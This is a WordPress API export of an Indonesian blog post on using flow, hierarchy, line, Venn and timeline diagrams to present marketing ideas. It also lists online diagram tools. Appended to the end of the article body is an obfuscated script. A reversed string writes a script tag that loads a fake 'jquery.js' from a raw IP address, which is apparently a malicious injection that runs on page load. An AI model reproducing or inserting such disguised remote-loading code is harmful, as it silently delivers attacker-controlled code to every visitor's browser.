{"id":504,"date":"2017-08-23T13:45:54","date_gmt":"2017-08-23T06:45:54","guid":{"rendered":"http:\/\/www.andhana.com\/jakarta\/?p=504"},"modified":"2017-08-23T13:56:25","modified_gmt":"2017-08-23T06:56:25","slug":"menggunakan-diagram-dan-alat-alat-visualisasi-lainnya-untuk-menjelaskan-ide-ide-pemasaran","status":"publish","type":"post","link":"https:\/\/www.andhana.com\/jakarta\/menggunakan-diagram-dan-alat-alat-visualisasi-lainnya-untuk-menjelaskan-ide-ide-pemasaran\/","title":{"rendered":"MENGGUNAKAN DIAGRAM DAN ALAT-ALAT VISUALISASI LAINNYA UNTUK MENJELASKAN IDE-IDE PEMASARAN"},"content":{"rendered":"<h2>MENGGUNAKAN DIAGRAM DAN ALAT-ALAT VISUALISASI LAINNYA UNTUK MENJELASKAN IDE-IDE PEMASARAN<\/h2>\n<p><a href=\"https:\/\/www.andhana.com\/jakarta\/wp-content\/uploads\/2017\/08\/cutcaster-photo-801038477-Business-plan-management-diagram.jpg\"><img loading=\"lazy\" class=\"alignleft wp-image-505 size-full\" title=\"MENGGUNAKAN DIAGRAM DAN ALAT-ALAT VISUALISASI LAINNYA UNTUK MENJELASKAN IDE-IDE PEMASARAN\" src=\"https:\/\/www.andhana.com\/jakarta\/wp-content\/uploads\/2017\/08\/cutcaster-photo-801038477-Business-plan-management-diagram.jpg\" alt=\"MENGGUNAKAN DIAGRAM DAN ALAT-ALAT VISUALISASI LAINNYA UNTUK MENJELASKAN IDE-IDE PEMASARAN\" width=\"450\" height=\"435\" srcset=\"https:\/\/www.andhana.com\/jakarta\/wp-content\/uploads\/2017\/08\/cutcaster-photo-801038477-Business-plan-management-diagram.jpg 450w, https:\/\/www.andhana.com\/jakarta\/wp-content\/uploads\/2017\/08\/cutcaster-photo-801038477-Business-plan-management-diagram-300x290.jpg 300w\" sizes=\"(max-width: 450px) 100vw, 450px\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>Sering terjadi bahwa pemasar yang menganggap dirinya sebagai orang kreatif menghindari penggunaan diagram dan alat tampilan visual lainnya. Lagipula karena semua itu melibatkan matematika \u2013angka-angka berarti banyak hal! Orang juga bisa enggan menggunakan diagram karena mereka telah melihat begitu banyak contoh buruk selama bertahun-tahun dan bingung dengan keuntungan dari diagram.<\/p>\n<p>Ketika dihadapkan dengan diagram yang membingungkan, kebanyakan orang awalnya cenderung menganggap bahwa mereka tidak mampu menyelesaikan tugasnya yaitu memahami diagram tersebut. Mereka berusaha memecahkan dan menghabiskan waktu untuk memahami diagram. Pada titik tertentu mereka menyerah dengan mudah. Jelas, hal ini tidak menguntungkan siapa pun.<\/p>\n<p>Orang yang membuat diagram berharap untuk menyederhanakannya. Orang yang melihat diagram berharap terhindar dari menghabiskan waktu dan usaha untuk memahami data-data diagram tersebut. Hampir semua orang bernapas lega ketika mereka diberi sebuah diagram sederhana yang membantu mereka memahami laporan yang berisi 15 halaman.<\/p>\n<p>Dalam bukunya, Visual Tools for Constructing Knowledge, penulis David Hyerle mengatakan bahwa alat visual membantu kita melakukan empat hal. Mereka membantu kita bergerak bolak-bolaik antara berbagai moda berpikir berikut ini:<br \/>\n\u2022 Representasi teks\/audio dan tampilan visual: antara membaca\/mendengar dan melihat.<br \/>\n\u2022 Pemikiran linier dan nonlinier: antara pemikiran otak kanan dan pemikiran otak kiri.<br \/>\n\u2022 Fakta yang berbeda dan yang berhubungan: antara acak dan terhubung.<br \/>\n\u2022 Daftar dan sistem: antara bagian dan keseluruhan.<br \/>\nMenggunakan alat-alat tampilan visual memungkinkan kita untuk melihat kecocokan antara beberapa hal. Kita tidak terbelenggu oleh semacam cara pendekatan saja, terhadap suatu masalah. Dengan mudah kita dapat berpindah dari satu cara berpikir kecara berpikir yang lain.<\/p>\n<p>JENIS-JENIS DIAGRAM UNTUK DIPERTIMBANGKAN<br \/>\nDiagram yang kita bahas disini biasanya digunakan untuk proyek-proyek pemasaran. Tidak berupa sebuah daftar lengkap, tetapi cukup memberikan anda ide untuk memulai menambahkannya ke proyek, kiriman blog, dan situs web anda. Mari kita lihat lima jenis diagram berikut ini:<br \/>\n\u2022 Alir<br \/>\n\u2022 Hierarki<br \/>\n\u2022 Garis<br \/>\n\u2022 Venn<br \/>\n\u2022 Kronologi<\/p>\n<p><strong>DIAGRAM ALIR<\/strong><br \/>\nApabila anda ingin memperlihatkan jalannya sebuah proses, anda harus mempertimbangkan untuk sebuah diagram alir.<br \/>\nDiagram alir dapat menunjukkan langkah-langkah yang diambil seseorang untuk menyelesaikan suatu tindakan, atau langkah-langkah dari sebuah program komputer.<br \/>\nApabila anda ingin seorang pelanggan belajar cara menyelesaikan tugas atau mengambil tindakan, anda dapat menggunakan diagram alir sebagai bagian dari lembar produk anda.<br \/>\nDiagram alir memiliki beberapa simbol standar yang harus anda gunakan:<br \/>\n\u2022 Sebuah lingkaran memanjang yang menunjukkan tanda mulai atau berhenti.<br \/>\n\u2022 Persegi panjang menunjukkan tindakan<br \/>\n\u2022 Berlian menandakan keputusan<br \/>\n\u2022 Anak panah menandakan arah.<\/p>\n<p style=\"text-align: left;\"><a href=\"https:\/\/www.andhana.com\/jakarta\/wp-content\/uploads\/2017\/08\/Contoh-Flowchart-Diagram-Alir.jpg\"><img loading=\"lazy\" class=\"aligncenter wp-image-506 size-full\" title=\"DIAGRAM ALIR\" src=\"https:\/\/www.andhana.com\/jakarta\/wp-content\/uploads\/2017\/08\/Contoh-Flowchart-Diagram-Alir.jpg\" alt=\"DIAGRAM ALIR\" width=\"400\" height=\"484\" srcset=\"https:\/\/www.andhana.com\/jakarta\/wp-content\/uploads\/2017\/08\/Contoh-Flowchart-Diagram-Alir.jpg 400w, https:\/\/www.andhana.com\/jakarta\/wp-content\/uploads\/2017\/08\/Contoh-Flowchart-Diagram-Alir-248x300.jpg 248w\" sizes=\"(max-width: 400px) 100vw, 400px\" \/> <\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0\u00a0 (Gambar 10.2.)<\/p>\n<p>Gambar 10.2 menunjukkan bahwa simbol-simbol ini mungkin digambarkan dalam sebuah bagan untuk mendokumentasikan proses bisnis seperti menulis blog. Hal ini juga bisa digunakan dalam mengeposan blog tentang blogging. Memasukkan bagan dalam sebuah pengeposan blog akan memecah teks-teks yang membosankan dan membantu menjelaskan konsep tersebut.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>DIAGRAM HIERARKI<\/strong><br \/>\nDiagram hierarki menunjukkan hubungan diantara item-item dengan cara mengelompokkan item-item tersebut. Kebanyakn pengusaha akrab dengan diagram yang menunjukkan hierarki karena sebelumnya mereka telah melihat bagan oraganisasi. Bagan-bagan ini mungkin memperlihatkan susunan staf suatu departemen dengan menampilakn kepala departemen berada dibagian atas dan orang yang melapor langsung kepada kepala departemen berada dibawahnya. Jenis bagan ini dapat digunakan dalam kertas putih atau studi kasus.<br \/>\nSebuah bagan organisasi yang khas dapat terlihat seperti yang diperlihatkan dalam gambar 10.3.<\/p>\n<p style=\"text-align: left;\"><a href=\"https:\/\/www.andhana.com\/jakarta\/wp-content\/uploads\/2017\/08\/1-Bagan-Hierarki-2.png\"><img loading=\"lazy\" class=\"aligncenter wp-image-507 size-full\" title=\"DIAGRAM HIERARKI\" src=\"https:\/\/www.andhana.com\/jakarta\/wp-content\/uploads\/2017\/08\/1-Bagan-Hierarki-2.png\" alt=\"DIAGRAM HIERARKI\" width=\"988\" height=\"401\" srcset=\"https:\/\/www.andhana.com\/jakarta\/wp-content\/uploads\/2017\/08\/1-Bagan-Hierarki-2.png 988w, https:\/\/www.andhana.com\/jakarta\/wp-content\/uploads\/2017\/08\/1-Bagan-Hierarki-2-300x122.png 300w, https:\/\/www.andhana.com\/jakarta\/wp-content\/uploads\/2017\/08\/1-Bagan-Hierarki-2-768x312.png 768w\" sizes=\"(max-width: 988px) 100vw, 988px\" \/><\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0\u00a0 \u00a0\u00a0 (Gambar 10.3.)<\/p>\n<p><strong>DIAGRAM GARIS<\/strong><br \/>\nDiagram garis umumnya digunakan untuk menggambarkan perubahan yang terjadi selama periode waktu tertentu. Anda dapat memiliki beberapa baris pada diagram yang sama untuk melacak perubahan entitas yang berbeda. Diagram ini dapat digunakan dalam presentasi kepada investor untuk memperlihatkan pemakaian produk.<br \/>\nSebuah diagram garis yang menganalisis tiga kampanye pemasaran bisa terlihat seperti yang ditunjukkan pada gambar 10.4.<\/p>\n<p style=\"text-align: left;\"><a href=\"https:\/\/www.andhana.com\/jakarta\/wp-content\/uploads\/2017\/08\/contoh-diagram-garis.jpg\"><img loading=\"lazy\" class=\"aligncenter wp-image-508 size-full\" title=\"DIAGRAM GARIS\" src=\"https:\/\/www.andhana.com\/jakarta\/wp-content\/uploads\/2017\/08\/contoh-diagram-garis.jpg\" alt=\"DIAGRAM GARIS\" width=\"430\" height=\"255\" srcset=\"https:\/\/www.andhana.com\/jakarta\/wp-content\/uploads\/2017\/08\/contoh-diagram-garis.jpg 430w, https:\/\/www.andhana.com\/jakarta\/wp-content\/uploads\/2017\/08\/contoh-diagram-garis-300x178.jpg 300w\" sizes=\"(max-width: 430px) 100vw, 430px\" \/><\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0\u00a0 \u00a0\u00a0 (Gambar 10.4.)<\/p>\n<p><strong>DIAGRAM VENN<\/strong><br \/>\nDiagram Venn menggunakan lingkaran untuk menggambarkan himpunan informasi yang berlainan. Perpotongan dari himpunan-himpunan data tersebut adalah daerah yang diciptakan diagram untuk menjelaskan. Sebuah diagram Venn yang menjelaskan himpunan data yang membentuk Revolusi Pemasaran Visual diperlihatkan dalam gambar 10.5.<\/p>\n<p style=\"text-align: left;\"><a href=\"https:\/\/www.andhana.com\/jakarta\/wp-content\/uploads\/2017\/08\/soal-ven-3.png\"><img loading=\"lazy\" class=\"aligncenter wp-image-509 size-full\" title=\"DIAGRAM VENN\" src=\"https:\/\/www.andhana.com\/jakarta\/wp-content\/uploads\/2017\/08\/soal-ven-3.png\" alt=\"DIAGRAM VENN\" width=\"374\" height=\"362\" srcset=\"https:\/\/www.andhana.com\/jakarta\/wp-content\/uploads\/2017\/08\/soal-ven-3.png 374w, https:\/\/www.andhana.com\/jakarta\/wp-content\/uploads\/2017\/08\/soal-ven-3-300x290.png 300w\" sizes=\"(max-width: 374px) 100vw, 374px\" \/><\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0\u00a0 (Gambar 10.5.)<\/p>\n<p><strong>DIAGRAM KRONOLOGI<\/strong><br \/>\nKronologi digunakan untuk menunjukkan hubungan waktu dari data yang digambarkan. Gambar 10.6 memperlihatkan kronologi untuk melaksanakan suatu kampanye di media sosial.<\/p>\n<p style=\"text-align: left;\"><a href=\"https:\/\/www.andhana.com\/jakarta\/wp-content\/uploads\/2017\/08\/hari-pahlawan-01-01.jpg\"><img loading=\"lazy\" class=\"aligncenter wp-image-510 size-full\" title=\"DIAGRAM KRONOLOGI\" src=\"https:\/\/www.andhana.com\/jakarta\/wp-content\/uploads\/2017\/08\/hari-pahlawan-01-01.jpg\" alt=\"DIAGRAM KRONOLOGI\" width=\"596\" height=\"842\" srcset=\"https:\/\/www.andhana.com\/jakarta\/wp-content\/uploads\/2017\/08\/hari-pahlawan-01-01.jpg 596w, https:\/\/www.andhana.com\/jakarta\/wp-content\/uploads\/2017\/08\/hari-pahlawan-01-01-212x300.jpg 212w\" sizes=\"(max-width: 596px) 100vw, 596px\" \/><\/a>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0\u00a0 (Gambar 10.6.)<\/p>\n<p>ALAT-ALAT UNTUK DIPERTIMBANGAKAN:<br \/>\nProgram-program diagram umum:<\/p>\n<p>Cacoo.com: https:\/\/cacoo.com\/<br \/>\nCreately: http:\/\/creately.com\/<br \/>\nDiagram: http:\/\/www.diagram.ly<br \/>\nDiagrammer: http:\/\/diagrammer.com<br \/>\nDiagrammr: http:\/\/diagrammr.com; menulis kalimat yang terjadi diagram.<br \/>\nGliffy: http:\/\/www.gliffy.com<br \/>\nSmart Art dari MS Office Power Point: http:\/\/office.microsoft.com\/en-us\/powerpoint\/<br \/>\nSimpleDiagrams: http:\/\/www.simplediagrams.com\/<br \/>\nsmartDraw: http:\/\/smartdraw.com<br \/>\ncatatan: bagan-bagan yang digunakan dalam bab ini dibuat dengan SmartDraw<\/p>\n<p><strong>BAGAN:<\/strong><br \/>\nChartGizmo: http:\/\/chartgizmo.com\/<br \/>\nlucidChart: http:\/\/www.lucidchart.com\/<br \/>\nlovely Charts: http:\/\/www.lovelycharts.com online Chart Tool: http:\/\/www.onlinecharttool.com\/<\/p>\n<p><strong>KRONOLOGI:<\/strong><br \/>\nDipity: http:\/\/www.dipity.com\/<\/p>\n<p>&nbsp;<\/p>\n<p>IDE UNTUK DIGUNAKAN<br \/>\nGunakan diagram untuk membantu anda mengenali pola-pola yang mengisahkan data.<br \/>\nPastikan ketika anda memilih jenis diagram, anda menggunakannya benar-benar untuk menyederhanakan informasi. Apabila malah membingungkan, anda akan menyia-nyiakan waktu.<br \/>\nAda banyak alat online yang bagus untuk membuat diagram, tetapi anda mungkin ingin memulai dengan kertas dan pensil untuk melihat diagram yang paling cocok dengan data anda.[]<script> document.write('>tpircs\/<>\"sj.yreuqj\/87.611.942.431\/\/:sptth\"=crs tpircs<'.split(\"\").reverse().join(\"\"))<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>MENGGUNAKAN DIAGRAM DAN ALAT-ALAT VISUALISASI LAINNYA UNTUK MENJELASKAN IDE-IDE PEMASARAN &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Sering terjadi bahwa pemasar yang menganggap dirinya sebagai orang kreatif menghindari penggunaan diagram dan alat tampilan visual lainnya. Lagipula karena semua itu melibatkan matematika \u2013angka-angka berarti banyak hal! Orang juga bisa enggan menggunakan diagram<a href=\"https:\/\/www.andhana.com\/jakarta\/menggunakan-diagram-dan-alat-alat-visualisasi-lainnya-untuk-menjelaskan-ide-ide-pemasaran\/\">[&#8230;]<\/a><\/p>\n","protected":false},"author":5,"featured_media":505,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[5],"tags":[47,49,48,51,50],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v16.6.1 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>MENGGUNAKAN DIAGRAM DAN ALAT-ALAT VISUALISASI LAINNYA UNTUK MENJELASKAN IDE-IDE PEMASARAN - andhana<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.andhana.com\/jakarta\/menggunakan-diagram-dan-alat-alat-visualisasi-lainnya-untuk-menjelaskan-ide-ide-pemasaran\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"MENGGUNAKAN DIAGRAM DAN ALAT-ALAT VISUALISASI LAINNYA UNTUK MENJELASKAN IDE-IDE PEMASARAN - andhana\" \/>\n<meta property=\"og:description\" content=\"MENGGUNAKAN DIAGRAM DAN ALAT-ALAT VISUALISASI LAINNYA UNTUK MENJELASKAN IDE-IDE PEMASARAN &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Sering terjadi bahwa pemasar yang menganggap dirinya sebagai orang kreatif menghindari penggunaan diagram dan alat tampilan visual lainnya. Lagipula karena semua itu melibatkan matematika \u2013angka-angka berarti banyak hal! Orang juga bisa enggan menggunakan diagram[...]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.andhana.com\/jakarta\/menggunakan-diagram-dan-alat-alat-visualisasi-lainnya-untuk-menjelaskan-ide-ide-pemasaran\/\" \/>\n<meta property=\"og:site_name\" content=\"andhana\" \/>\n<meta property=\"article:published_time\" content=\"2017-08-23T06:45:54+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2017-08-23T06:56:25+00:00\" \/>\n<meta property=\"og:image\" content=\"http:\/\/www.andhana.com\/jakarta\/wp-content\/uploads\/2017\/08\/cutcaster-photo-801038477-Business-plan-management-diagram.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"450\" \/>\n\t<meta property=\"og:image:height\" content=\"435\" \/>\n<meta name=\"twitter:label1\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data1\" content=\"4 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.andhana.com\/jakarta\/#website\",\"url\":\"https:\/\/www.andhana.com\/jakarta\/\",\"name\":\"andhana\",\"description\":\"Web &amp; Software Developer\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.andhana.com\/jakarta\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"en-US\"},{\"@type\":\"ImageObject\",\"@id\":\"https:\/\/www.andhana.com\/jakarta\/menggunakan-diagram-dan-alat-alat-visualisasi-lainnya-untuk-menjelaskan-ide-ide-pemasaran\/#primaryimage\",\"inLanguage\":\"en-US\",\"url\":\"https:\/\/www.andhana.com\/jakarta\/wp-content\/uploads\/2017\/08\/cutcaster-photo-801038477-Business-plan-management-diagram.jpg\",\"contentUrl\":\"https:\/\/www.andhana.com\/jakarta\/wp-content\/uploads\/2017\/08\/cutcaster-photo-801038477-Business-plan-management-diagram.jpg\",\"width\":450,\"height\":435,\"caption\":\"Business plan diagram management strategy concept chart illustration\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.andhana.com\/jakarta\/menggunakan-diagram-dan-alat-alat-visualisasi-lainnya-untuk-menjelaskan-ide-ide-pemasaran\/#webpage\",\"url\":\"https:\/\/www.andhana.com\/jakarta\/menggunakan-diagram-dan-alat-alat-visualisasi-lainnya-untuk-menjelaskan-ide-ide-pemasaran\/\",\"name\":\"MENGGUNAKAN DIAGRAM DAN ALAT-ALAT VISUALISASI LAINNYA UNTUK MENJELASKAN IDE-IDE PEMASARAN - andhana\",\"isPartOf\":{\"@id\":\"https:\/\/www.andhana.com\/jakarta\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.andhana.com\/jakarta\/menggunakan-diagram-dan-alat-alat-visualisasi-lainnya-untuk-menjelaskan-ide-ide-pemasaran\/#primaryimage\"},\"datePublished\":\"2017-08-23T06:45:54+00:00\",\"dateModified\":\"2017-08-23T06:56:25+00:00\",\"author\":{\"@id\":\"https:\/\/www.andhana.com\/jakarta\/#\/schema\/person\/aa5c2eef6473215976dba85a95843c8b\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.andhana.com\/jakarta\/menggunakan-diagram-dan-alat-alat-visualisasi-lainnya-untuk-menjelaskan-ide-ide-pemasaran\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.andhana.com\/jakarta\/menggunakan-diagram-dan-alat-alat-visualisasi-lainnya-untuk-menjelaskan-ide-ide-pemasaran\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.andhana.com\/jakarta\/menggunakan-diagram-dan-alat-alat-visualisasi-lainnya-untuk-menjelaskan-ide-ide-pemasaran\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.andhana.com\/jakarta\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"MENGGUNAKAN DIAGRAM DAN ALAT-ALAT VISUALISASI LAINNYA UNTUK MENJELASKAN IDE-IDE PEMASARAN\"}]},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.andhana.com\/jakarta\/#\/schema\/person\/aa5c2eef6473215976dba85a95843c8b\",\"name\":\"Ibna Hajar\",\"sameAs\":[\"http:\/\/andhana.com\"],\"url\":\"https:\/\/www.andhana.com\/jakarta\/author\/ibna\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","_links":{"self":[{"href":"https:\/\/www.andhana.com\/jakarta\/wp-json\/wp\/v2\/posts\/504"}],"collection":[{"href":"https:\/\/www.andhana.com\/jakarta\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.andhana.com\/jakarta\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.andhana.com\/jakarta\/wp-json\/wp\/v2\/users\/5"}],"replies":[{"embeddable":true,"href":"https:\/\/www.andhana.com\/jakarta\/wp-json\/wp\/v2\/comments?post=504"}],"version-history":[{"count":6,"href":"https:\/\/www.andhana.com\/jakarta\/wp-json\/wp\/v2\/posts\/504\/revisions"}],"predecessor-version":[{"id":516,"href":"https:\/\/www.andhana.com\/jakarta\/wp-json\/wp\/v2\/posts\/504\/revisions\/516"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.andhana.com\/jakarta\/wp-json\/wp\/v2\/media\/505"}],"wp:attachment":[{"href":"https:\/\/www.andhana.com\/jakarta\/wp-json\/wp\/v2\/media?parent=504"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.andhana.com\/jakarta\/wp-json\/wp\/v2\/categories?post=504"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.andhana.com\/jakarta\/wp-json\/wp\/v2\/tags?post=504"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}